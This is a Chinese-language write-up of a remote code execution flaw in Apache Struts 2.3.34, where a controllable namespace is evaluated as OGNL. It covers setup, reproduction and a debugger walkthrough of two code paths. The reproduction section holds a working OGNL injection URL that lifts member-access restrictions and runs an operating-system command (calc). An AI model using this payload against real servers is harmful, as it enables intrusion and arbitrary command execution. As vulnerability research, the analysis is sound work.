一、 漏洞描述
当struts.mapper.alwaysSelectFullNamespace设置为true,并且package标签页以及result的param标签页的namespace值的缺失,或使用了通配符时可造成namespace被控制,最终namespace会被带入OGNL语句执行,从而产生远程代码执行漏洞。
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN" "http://struts.apache.org/dtds/struts-2.3.dtd"> <struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts>
3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
4.添加tomcat之后运行即可
漏洞复现
1.访问http://localhost:8081/${(111+111)}/actionChain1.action
2.弹出计算器
/struts2_showcase_war_exploded/showcase/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}/actionChain1.action
漏洞分析
我主要分析了两种攻击点一:Redirect action和攻击点二:Postback result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程
Redirect action:
1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()处下断点进行调试
2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java# @execute()
3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping(),跟入handleNamespace()观察如何处理值
5.handleNamespace最终结果如下
6.返回到execute()跟进super.execute()
7.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
Postback result:
第二种方法
1.先修改struts.actionchaing.xml中内容
2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java# @executeResult()可以看到 这个result对象的处理方式为 postback
3.进入execute(),跟进makePostbackUri
4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java# @getUriFromActionMapping() ,进入handleNamespace()观察处理值过
程
5.handleNamespace()处理值过程如下
6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java # @makePostbackUri()
可以看到postbackUri为/${(111+111)}/register2.action
7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java# @execute()方法中往下走到super.execute()跟进
8.可以看到最后通过 \struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java# @doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
修复建议